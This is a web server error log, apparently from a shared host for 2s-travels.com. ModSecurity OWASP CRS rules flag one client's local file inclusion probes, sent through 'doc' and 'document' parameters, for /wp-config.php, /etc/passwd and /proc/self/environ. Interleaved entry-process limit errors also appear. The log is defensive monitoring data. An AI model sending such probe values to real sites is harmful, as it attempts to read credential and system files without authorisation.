[Fri Jul 17 08:55:55.257556 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVyAAAABM"]
[Fri Jul 17 08:55:55.257694 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.258120 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw_wooI4qY7Jg93pVyAAAABM"]
[Fri Jul 17 08:55:55.270748 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:doc: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxAi3pC6yjXGNq2AuAAAAAU"]
[Fri Jul 17 08:55:55.271341 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxAi3pC6yjXGNq2AuAAAAAU"]
[Fri Jul 17 08:55:55.271455 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.271741 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwxAi3pC6yjXGNq2AuAAAAAU"]
[Fri Jul 17 08:55:55.277596 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:doc: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxHlOGcokz2QIwTTYgAAAAM"]
[Fri Jul 17 08:55:55.277734 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:doc: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxHlOGcokz2QIwTTYgAAAAM"]
[Fri Jul 17 08:55:55.278184 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxHlOGcokz2QIwTTYgAAAAM"]
[Fri Jul 17 08:55:55.278300 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.278595 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwxHlOGcokz2QIwTTYgAAAAM"]
[Fri Jul 17 08:55:55.295742 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:doc: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw7EWOaI5pmYo9fnPDQAAAAA"]
[Fri Jul 17 08:55:55.295852 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:doc: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw7EWOaI5pmYo9fnPDQAAAAA"]
[Fri Jul 17 08:55:55.296380 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw7EWOaI5pmYo9fnPDQAAAAA"]
[Fri Jul 17 08:55:55.296473 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.296732 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw7EWOaI5pmYo9fnPDQAAAAA"]
[Fri Jul 17 08:55:55.299202 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:doc: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw1CBpfuYyhJ140vS8QAAAB4"]
[Fri Jul 17 08:55:55.299302 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:doc: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw1CBpfuYyhJ140vS8QAAAB4"]
[Fri Jul 17 08:55:55.299708 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw1CBpfuYyhJ140vS8QAAAB4"]
[Fri Jul 17 08:55:55.299807 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.300065 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw1CBpfuYyhJ140vS8QAAAB4"]
[Fri Jul 17 08:55:55.300263 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.300335 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:doc: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw4e39YUk0SgV8AU6swAAABE"]
[Fri Jul 17 08:55:55.300426 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:doc: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw4e39YUk0SgV8AU6swAAABE"]
[Fri Jul 17 08:55:55.300890 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw4e39YUk0SgV8AU6swAAABE"]
[Fri Jul 17 08:55:55.300974 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.301238 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw4e39YUk0SgV8AU6swAAABE"]
[Fri Jul 17 08:55:55.302191 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.308640 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.319387 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.324693 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.332577 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.336336 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.352141 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.354688 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:document: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw1CBpfuYyhJ140vS8gAAAB4"]
[Fri Jul 17 08:55:55.355196 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw1CBpfuYyhJ140vS8gAAAB4"]
[Fri Jul 17 08:55:55.355301 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.355565 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw1CBpfuYyhJ140vS8gAAAB4"]
[Fri Jul 17 08:55:55.356361 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:document: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw6quHSHoCJK_V0SBhAAAABs"]
[Fri Jul 17 08:55:55.357015 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw6quHSHoCJK_V0SBhAAAABs"]
[Fri Jul 17 08:55:55.357154 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.357440 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw6quHSHoCJK_V0SBhAAAABs"]
[Fri Jul 17 08:55:55.362101 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:document: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6spgAAABQ"]
[Fri Jul 17 08:55:55.362135 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:document: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVygAAABM"]
